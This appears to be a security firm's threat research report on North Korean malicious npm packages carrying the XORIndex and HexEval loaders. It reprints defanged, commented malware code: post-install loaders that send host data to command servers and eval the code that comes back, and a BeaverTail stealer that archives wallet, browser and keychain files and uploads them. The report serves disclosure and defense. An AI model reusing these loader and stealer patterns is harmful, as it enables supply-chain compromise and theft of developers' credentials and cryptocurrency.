
Research
/Security News
10 npm Typosquatted Packages Deploy Multi-Stage Credential Harvester
Socket researchers found 10 typosquatted npm packages that auto-run on install, show fake CAPTCHAs, fingerprint by IP, and deploy a credential stealer.


Kirill Boychenko
July 14, 2025
The Socket Threat Research Team has uncovered a new North Korean software supply chain attack involving a previously unreported malware loader we call XORIndex. This activity is an expansion of the campaign we reported in June 2025, which deployed the HexEval Loader. In this latest wave, the North Korean threat actors behind the Contagious Interview operation infiltrated the npm ecosystem with 67 malicious packages, collectively downloaded more than 17,000 times. 27 of these packages remain live on the npm registry. We have submitted takedown requests to the npm security team and petitioned for the suspension of the associated accounts.
The full list of packages is provided in the IOCs section of this report. Based on current patterns, we assess that additional packages tied to the XORIndex and HexEval Loader campaigns are likely to surface. The Contagious Interview operation continues to follow a whack-a-mole dynamic, where defenders detect and report malicious packages, and North Korean threat actors quickly respond by uploading new variants using the same, similar, or slightly evolved playbooks.
The HexEval Loader campaign shows no signs of slowing down, as the threat actors continue uploading malicious packages to the npm registry. With the emergence of the XORIndex Loader (named for its use of XOR-encoded strings and index-based obfuscation) they have expanded their tooling with a new loader, also designed to evade detection.
As in the HexEval campaign, the XORIndex Loader collects host metadata, decodes its follow-on script, and, when triggered, fetches and executes BeaverTail — the staple second-stage malware in the North Korean Contagious Interview threat actors’ arsenal. BeaverTail, in turn, references InvisibleFerret, a known third-stage backdoor linked to this operation.
The two campaigns now operate in parallel. XORIndex has accumulated over 9,000 downloads in a short window (June to July 2025), while HexEval continues at a steady pace, with more than 8,000 additional downloads across the newly discovered packages.
We expect the North Korean threat actors to reuse existing loaders like HexEval and XORIndex, while introducing new obfuscation techniques and loader variants. Their focus remains on infiltrating software supply chains and targeting developers, job seekers, and individuals they believe possess cryptocurrency or sensitive credentials. As our previous reporting shows, these well-resourced, financially-motivated, and state-backed threat actors do not hesitate to target smaller organizations and individuals.

Timeline of HexEval and XORIndex Loader campaigns showing parallel waves of malicious npm package deployments by North Korean threat actors from April to July 2025. This latest wave includes 67 previously unreported packages: 39 new HexEval Loader and 28 XORIndex Loader packages. Earlier waves: 4 packages in April 2025 and 35 in June 2025 were detailed in our prior research.
In the XORIndex Loader campaign, we identified 28 malicious npm packages distributed across 18 npm accounts registered using 15 distinct email addresses. Consistent with the HexEval Loader campaign, the malware relies on hardcoded command and control (C2) infrastructure delivering the /api/ipcheck callback. The five known endpoints include:
https://soc-log[.]vercel[.]app/api/ipcheckhttps://1215[.]vercel[.]app/api/ipcheckhttps://log-writter[.]vercel[.]app/api/ipcheckhttps://process-log-update[.]vercel[.]app/api/ipcheckhttps://api[.]npoint[.]io/1f901a22daea7694face (a likely initial configuration fetch).Package-naming patterns (e.g., vite-*, *-log*), the presence of BeaverTail malware, and references to the InvisibleFerret backdoor link the XORIndex campaign to earlier Contagious Interview operations we previously documented.
The following commented excerpt from the deobfuscated eth-auditlog package demonstrates a typical instance of the XORIndex Loader.
// Dependencies and utilities
const axios = require("axios");
const os = require("os");
const publicIp = (await import("public-ip")).default;
// XOR-decode function for obfuscated strings (simplified)
function xorDecode(hexStr) { /* … */ }
// Collects local telemetry (host/user/IP/geo/platform)
async function gatherInfo() {
const ip = await publicIp.v4(); // External IP
const geo = (await axios.get(`http://ip-api.com/json/${ip}`)).data;
// IP-based geolocation
return {
host: os.hostname(), // System hostname
user: os.userInfo().username, // Current OS username
ip,
location: geo, // Geolocation metadata
platform: os.platform() // OS identifier
};
}
// Sends beacon and executes threat actor-supplied JavaScript payloads
module.exports = async function writer() {
const info = await gatherInfo();
const version = process.env.npm_package_version;
// POST telemetry to C2 endpoint (defanged) and execute returned payloads
axios.post("https://log-writter[.]vercel[.]app/api/ipcheck",
{ ...info, version })
.then(res => {
eval(res.data.s1); // Execute primary threat actor's payload
eval(res.data.s2); // Execute optional secondary payload
})
.catch(() => console.log("write f callback error");
};Upon installation, eth-auditlog collects local host telemetry, including hostname, current username, OS type, external IP address, basic geolocation, and the package’s version, then exfiltrates this data to a hardcoded C2 (https://log-writter[.]vercel[.]app/api/ipcheck) endpoint. It subsequently executes arbitrary JavaScript code via eval(), loading the second-stage malware BeaverTail, which contains references to the third-stage backdoor InvisibleFerret. The malicious code is platform-agnostic, functioning across Windows, macOS, and Linux, but specifically targets the Node.js ecosystem, primarily developers installing npm packages.
The second-stage malware delivered by the XORIndex Loader via the eth-auditlog package is BeaverTail — the hallmark payload of the North Korean Contagious Interview operations. It scans for dozens of known desktop wallet directories and browser extension paths, archives the collected data, and exfiltrates it to a hardcoded IP-based HTTP endpoint. Several string constants in the code match wallet and extension identifiers previously attributed to BeaverTail. BeaverTail downloads additional payloads, such as the InvisibleFerret backdoor, using filenames like p.zi or p2.zip.
The following deobfuscated, defanged, and commented excerpt illustrates the BeaverTail second-stage malware that is executed after installation of the eth-auditlog package.
// Wallet / Key store targets
const WALLET_IDS = [
'nkbihfbeog', // MetaMask browser extension ID
'iijedngplf', // Coinbase Wallet extension ID
'cgndfolcbk', // Phantom (Chrome) extension ID
'bohpjbbldc', // TronLink extension ID
// … 46 more IDs …
];
const FILE_PATTERNS = [
'/Library/Application Support/Exodus/', // Exodus wallet config
'/Library/Application Support/BraveSoftware/', // Brave browser profiles
'/.config/solana/solana_id.json', // Solana CLI keypair
'Login.keychain', // macOS system keychain file
// …
];
// File collection and exfiltration
function harvest() { // Primary execution routine
const tmpZip = path.join(os.tmpdir(), 'p2.zip');
const zip = new AdmZip(); // Dependency for archiving
scanAndAdd(zip, WALLET_IDS, FILE_PATTERNS); // Search and match files
zip.writeZip(tmpZip);
// Exfiltrate collected archive via HTTP POST
return axios.post('http://144[.]217[.]86[.]88/uploads', // Hardcoded C2
fs.createReadStream(tmpZip),
{ headers: { 'Content-Type': 'application/zip' } });
}
// Optional payload fetch and execution
axios.get('http://144[.]217[.]86[.]88/download') // Fetch remote payload
.then(r => Function(r.data)()) // Execute via FunctionThe malware enumerates nearly 50 wallet paths (e.g. Exodus, MetaMask, Phantom, Keplr, and TronLink) and inspects user profiles for Chromium- and Gecko-based browsers (Brave, Chrome, Firefox, Opera, Edge) to locate extension storage directories. It searches for sensitive files such as *.ldb, RTCDataChannel, keychain-db, and seed files matching *.json patterns. Collected data is archived into p2.zip using the embedded adm-zip module and written to the system’s temporary directory. The archive is exfiltrated via HTTP POST to http://144[.]217[.]86[.]88/uploads. Exfiltrated contents include wallet databases, browser extension local storage, macOS keychain credentials, Solana IDs, and wallet-related JSON files. On successful upload, the archive is deleted. The malware then attempts to fetch a third-stage malware from the same host and executes it in memory using Function(). This behavior aligns with the established BeaverTail to InvisibleFerret execution chain.
postcss-preloader — First-Generation XORIndex LoaderWe identified earlier variants of the XORIndex Loader likely used for testing, which lacked obfuscation and offered limited or no host reconnaissance capabilities. One such example is postcss-preloader — an aptly named loader prototype.
During installation, postcss-preloader silently contacts a hardcoded C2 endpoint and executes any JavaScript code returned by the server. Unlike later XORIndex Loader variants, it omits string obfuscation, host metadata collection, and endpoint rotation. Yet, it still provides the threat actors with full remote code execution, highlighting the foundational capabilities of this malware loader.
The following commented and defanged excerpt from the postcss-preloader package demonstrates the first prototype version of the XORIndex Loader.
"use strict";
const axios = require("axios"); // Sends HTTP requests
const os = require("os"); // Unused (likely decoy)
require("dotenv").config(); // Loads .env (optional)
// Postinstall callback
const writer = async () => {
try {
const version = process.env.npm_package_version;
// Beacon to threat actor's C2
axios
.post("https://soc-log[.]vercel[.]app/api/ipcheck", { version })
.then((r) => {
eval(r.data.model); // Executes server-sent JS code
});
} catch (error) {
// Silent fail
}
};
module.exports = writer; // Auto-invoked postinstall entryjs-log-print — Second-Generation XORIndex Loaderjs-log-print retains the same basic post-install remote code execution behavior as the initial postcss-preloader version but introduces rudimentary host reconnaissance, attempting to collect the hostname, username, external IP, geolocation, and OS type. However, due to a bug in the external IP retrieval logic, the ip and location fields are typically undefined or null. Unlike the fully developed XORIndex loader, it lacks string obfuscation and multi-endpoint rotation.
The following commented and defanged excerpt from the js-log-print package demonstrates a transitional stage of the XORIndex Loader.
"use strict";
const axios = require("axios"); // HTTP client for API calls
const os = require("os"); // Access to system info
require("dotenv").config(); // Load environment variables
// Attempts to get external IP (BUG: returns nothing)
async function geuicp() {
const publicIp = await import("public-ip");
const ip = await publicIp.publicIpv4(); // IP fetched but never returned
}
// Collects system telemetry
async function genfo() {
try {
const hoame = os.hostname(); // Hostname
const uame = os.userInfo().username; // Username
const ip = await geuicp(); // External IP (fails)
const location = await getP(ip); // Country
const sype = os.type(); // OS type
return { hoame, ip, location, uame, sype };
} catch (error) {}
}
// Performs IP geolocation lookup
async function getP(ip) {
try {
const response = await axios.get(`https://ipapi.co/${ip}/json/`);
return response.data.country_name;
} catch (error) {
return null;
}
}
// Sends host data to C2 and executes returned code
const writer = async () => {
try {
const synfo = await genfo(); // Gather system data
const version = process.env.npm_package_version; // npm package version
axios
.post("https://log-writter[.]vercel[.]app/api/ipcheck", { ...synfo, version }) // Beacon to C2
.then((r) => {
eval(r.data.model); // Execute threat actor's code
});
} catch (error) {}
};
module.exports = writer; // Exported as postinstall entrydev-filterjs — Third-Generation XORIndex Loaderdev-filterjs introduces the threat actors’ first use of string-level obfuscation (ASCII buffer decoded via TextDecoder) while retaining the same post-install beacon-and-eval pattern. Reconnaissance logic from the second prototype remains and now successfully transmits the external IP and country data.
The following commented and defanged excerpt from the dev-filterjs package demonstrates the first use of string-level obfuscation in the XORIndex Loader.
"use strict";
const axios = require("axios");
const os = require("os");
require('dotenv').config(); // Load environment variables
// Returns external IP (used for geo lookup)
async function geuicp() {
const publicIp = await import('public-ip');
return publicIp.publicIpv4();
}
// Collects basic system telemetry
async function genfo() {
try {
const hoame = os.hostname(); // Hostname
const uame = os.userInfo().username; // Username
const ip = await geuicp(); // External IP
const location = await getP(ip); // Country name
const sype = os.type(); // OS type
return { hoame, ip, location, uame, sype };
} catch (error) {
console.error('Error collecting telemetry:', error);
throw error;
}
}
// Maps IP to country using ipapi.co
async function getP(ip) {
try {
const response = await axios.get(`https://ipapi.co/${ip}/json/`);
return response.data.country_name;
} catch (error) {
console.error('Geo lookup failed:', error.message);
return null;
}
}
// Main loader logic (runs automatically post-install)
(async () => {
try {
// Decode hardcoded C2 URL
const uint8Array = new Uint8Array([
104, 116, 116, 112, 115, 58, 47, 47, 108, 111, 103, 45, 119, 114, 105, 116,
116, 101, 114, 46, 118, 101, 114, 99, 101, 108, 46, 97, 112, 112, 47, 97,
112, 105, 47, 105, 112, 99, 104, 101, 99, 107
]);
const decodeURL = new TextDecoder().decode(uint8Array);
const version = "0.3.2";
const synfo = await genfo(); // Gather telemetry
// Send beacon to C2 and execute returned JS payload
axios.post(decodeURL, { ...synfo, version })
.then((r) => {
eval(r.data.model); // Execute threat actor-supplied code
});
} catch (error) {
// Silently fail
}
})();
// Exported only for reuse/debug purposes
module.exports = genfo;The XORIndex Loader exhibits a deliberate and rapid evolution from proof-of-concept to fully featured malware loader. The initial postcss-preloader was a bare-bones remote code execution loader with no obfuscation or host profiling. The second prototype, js-log-print, introduced rudimentary reconnaissance capabilities though it remained unobfuscated. The third iteration, dev-filterjs, marked the threat actors’ first use of string obfuscation via ASCII buffers and TextDecoder. In contrast, the latest XORIndex Loader variants incorporate XOR-based string hiding, multi-endpoint C2 rotation, host profiling, and dual eval() execution paths. Across all versions, the threat actors consistently reuse a shared C2 infrastructure hosted on Vercel under the /api/ipcheck path.
This progression reflects the North Korean Contagious Interview threat actors’ ongoing investment in stealthier, more resilient software supply chain malware; moving from simple prototypes to modular loaders capable of full system compromise.

Socket’s AI scanner includes contextual analysis of the latest XORIndex Loader variant found in the malicious cronek package.
Socket’s view of the obfuscated code in the cronek package.Contagious Interview threat actors will continue to diversify their malware portfolio, rotating through new npm maintainer aliases, reusing loaders such as HexEval Loader and malware families like BeaverTail and InvisibleFerret, and actively deploying newly observed variants including XORIndex Loader.
Defenders should expect continued iterations of these loaders across newly published packages, often with slight variations to evade detection. The threat actors’ consistent use of legitimate infrastructure providers like Vercel for C2 lowers operational overhead and may influence similar adoption by other APTs or cybercriminal groups. Evasive methods such as memory-only execution and obfuscation will likely increase, complicating detection and incident response.
Security teams should treat these incidents as persistent, evolving threats. Developers, particularly those in DevOps, open source, or infrastructure engineering roles, remain prime targets due to their elevated access and trust within the ecosystem. Proactive supply chain defense must become a standard part of secure software development.
Socket equips organizations to defend against this evolving threat. The Socket GitHub App enables real-time pull request scanning to catch malicious dependencies before they are merged. The Socket CLI flags suspicious behavior during npm install, giving immediate visibility into risk. And the Socket browser extension adds security metrics to package pages and search results, helping users identify threats in open source packages before installation.
vite-meta-plugin (live at time of publication; removal requested)vite-postcss-tools (live at time of publication; removal requested)pretty-chalk (live at time of publication; removal requested)vite-usageit (live at time of publication; removal requested)ecom-config (live at time of publication; removal requested)flowframe (live at time of publication; removal requested)proc-logger (live at time of publication; removal requested)vite-log-handler (live at time of publication; removal requested)cronek (live at time of publication; removal requested)vite-proc-log (live at time of publication; removal requested)vite-plugin-enhancepostcss-preloadervite-logifyjs-log-printvite-logging-tooldev-filterjseth-auditlogmidd-jsflowmarkvitejs-logutx-configfigwrapspringboot-jsspringboot-md1imitphlib-configmiddy-jsvite-tsconfig-logh96452582devin-ta39csilvagalaxyalisson_devdmytryidrgruahmadbahaistefanofrick2samuelhugginsjgod19960520monster1117marilinjasonharry1988davidmoberlyvitalii0021rory210jasonharry198852millosh96452582@gmail[.]comdevin.s@gedu[.]demo[.]ta-39[.]comcsilvagalaxy87@gmail[.]comsouzaporto800@gmail[.]comdmytroputko@gmail[.]comdrgru854@gmail[.]comahmadbahai07@gmail[.]comstefanofrick2@gmail[.]comsamuelhuggins3@gmail[.]comjgod19960520@outlook[.]comfilip.porter9017@outlook[.]comr29728098@gmail[.]comvitalii214.ilnytskyi@gmail[.]comjasonharry198852@gmail[.]commillosmike3@gmail[.]comnextjs-https-supertest (live at time of publication; removal requested)nextjs-package-purify (live at time of publication; removal requested)jsonslicer (live at time of publication; removal requested)node-mongo-orm (live at time of publication; removal requested)parsing-query (live at time of publication; removal requested)tailwind-config-plugin (live at time of publication; removal requested)nodestream-log (live at time of publication; removal requested)vite-lightparse (live at time of publication; removal requested)pino-req (live at time of publication; removal requested)tailwind-base-theme (live at time of publication; removal requested)js-prettier (live at time of publication; removal requested)notifier-loggers (live at time of publication; removal requested)querypilot (live at time of publication; removal requested)vitejs-plugin-refresh (live at time of publication; removal requested)jsonlis-conf (live at time of publication; removal requested)node-mongodb-logger (live at time of publication; removal requested)jsonloggersasync-queuelitenode-mongoose-ormjsonwebstrparser-querynode-log-streamerjsonli-confnotification-loggersnotification-logslogs-bindjsons-packreqweaverservulareqnexusvelockyflush-pluginsjsonlogsjsontostrhusky-loggernode-mongodb-ormjsonskipyrestpilotjsonspack-loggerdenniswintermagalhaesbruno236backsonblaujinpingrodolfo010813david262721christacoleoleksandr522hera0204hamid1997kingxianstardaphneyrathgarner_devalex.c11dan436jennyjenkinsdavid36271yoga001astro847stardev47ahmedaysdevcrimsonderek00144devin1571stormdev0418jinping0822davisjosephinewnkjaksonas11liamnevindenniswinter727@outlook[.]commagalhaesbruno236@gmail[.]comjacksonblau11ai@gmail[.]comjinping0821@outlook[.]comrodolfguerr@gmail[.]comdavid262721@outlook[.]comchulovskaolena@outlook[.]comoleksandrkazadaiev522@gmail[.]comhera19970204@outlook[.]comzeus19970204@outlook[.]comimanwdr30@hotmail[.]comscarlet112603@outlook[.]comgarnerbrandy1230@gmail[.]comalexandercruciata11@gmail[.]comdanxeth436@gmail[.]comjennyjenkins783@gmail[.]comdavid36271@outlook[.]comrkupriyanof@gmail[.]comvallierhilaire@gmail[.]comwillsuccess47@gmail[.]comahmedali06091@gmail[.]comc258789456@gmail[.]comderek00144@gmail[.]comdevin1571@outlook[.]comstar712418@gmail[.]comjinping0822@outlook[.]comdavisjosephinewnk807@outlook[.]comjaksonas11@outlook[.]comhades19910712@outlook[.]comhttps://soc-log[.]vercel[.]app/api/ipcheckhttps://1215[.]vercel[.]app/api/ipcheckhttps://log-writter[.]vercel[.]app/api/ipcheckhttps://process-log-update[.]vercel[.]app/api/ipcheckhttps://api[.]npoint[.]io/1f901a22daea7694face144[.]217[.]86[.]88Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now

Research
/Security News
Socket researchers found 10 typosquatted npm packages that auto-run on install, show fake CAPTCHAs, fingerprint by IP, and deploy a credential stealer.

Research
The Socket Threat Research Team uncovered malicious NuGet packages typosquatting the popular Nethereum project to steal wallet keys.

Research
/Security News
The Socket Threat Research Team uncovered a coordinated campaign that floods the Chrome Web Store with 131 rebranded clones of a WhatsApp Web automation extension to spam Brazilian users.